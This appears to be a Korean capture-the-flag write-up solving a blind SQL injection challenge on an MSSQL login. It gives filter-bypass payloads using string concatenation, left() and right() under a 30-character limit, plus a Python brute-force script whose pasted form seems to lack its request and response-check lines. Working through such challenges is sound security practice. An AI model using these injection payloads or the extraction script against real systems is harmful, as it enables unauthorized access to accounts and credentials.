22번문제와 비슷한 Blind Sql문제이다.
다만 필터링이 늘어난걸 볼 수 있다. 우리가 22번문제에서 썼던 admin과 substring함수가 필터링되는걸 볼 수 있다.
하지만 len함수는 필터링되지 않았기에 비밀번호 길이를 확인해보자.
admin은 +문자로합쳐 ad'+'min' 으로 우회할 수 있다.
이런식으로 하나씩늘려 비밀번호 길이를 찾다보면 12인걸 알 수 있다.
그렇다면 이제 비밀번호를 알아내야하는데, substring함수가 필터링되니, 딴 걸 찾아보자.
MSSQL함수를 찾아보면 left함수가 있다.
[left]
left( value , length ) -> value에서 length만큼 왼쪽에서부터 값을 반환한다.
- value : pw
- length 1~12
이제 python으로 ascii코드 33부터 126 까지 붙여나가면서 비밀번호를 찾으면된다.
payload= ad'+'min' and left(pw, )=' '--
그러나, 첫번째글자까진 알아냈지만, 그 다음부터는 뜨지 않는다.
두번째글자를 아무거나 직접 넣어보자
?? No hack 이 뜬다. 분명 필터링에 걸리는것도 없는데..
길이를 확인해보니까 첫번째글자는 30이여서 통과되었고, 두번째글자부터는 31이 되버려 No hack이 뜬다.
길이를 30으로 제한하는것 같다. 그렇다면 ad'+'min' 이 부분을 수정할필요가 있는것 같다.
[ select * where id="" and pw="" ] 형식이니까 id는 틀려도, or 로 admin의 pw비교구문을 넣어 참을 만들면 될 것 같다
[ select * where id='' or left(pw, )=' '--
그렇다면 payload : ' or left(pw,1)='v'-- 이걸 한 번 입력해봐야겠다.
성공이다. 그렇다면 위의 payload를 바탕으로 다시 python코드를 짜서 돌려보았다.
하지만 비밀번호가 10글자가되는순간 payload가 30글자가 넘어버려 No hack! 이 뜨고만다.
그래서 다시 MSSQL 문자열함수를 찾아보는중, right함수를 발견했다.
[right]
right( value , length ) -> value에서 length만큼 오른쪽에서부터 값을 반환한다.
- value : pw
- length 1~3
구한 9글자 + right함수로 나머지 3글자를 찾아봐야겠다.
payload= ' or right(pw, )=' '--
[최종코드]
right함수를쓸때에는 문자열을 앞으로 추가하는점 유의하자!
( L -> QL -> SQL )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
import requests
params={"id":"","pw":1}
key=""
backup=""
authkey=""
print("[+]left 9 : ",end="")
for i in range(1,10):
for j in range(33,126):
key+=chr(j)
params['id']="' or left(pw,"+str(i)+")='"+key+"'--"
print(chr(j),end="")
backup+=chr(j)
break
else:
key=backup
authkey=key
key=""
backup=""
print("\n[+] right 3 : ",end="")
for i in range(1,4):
for j in range(33,126):
key=chr(j)+key
params['id']="' or right(pw,"+str(i)+")='"+key+"'--"
backup=chr(j)+backup
break
else:
key=backup
print(key)
authkey+=key
print("authkey="+authkey)
|
[주의]
auth는 소문자로 해야한다.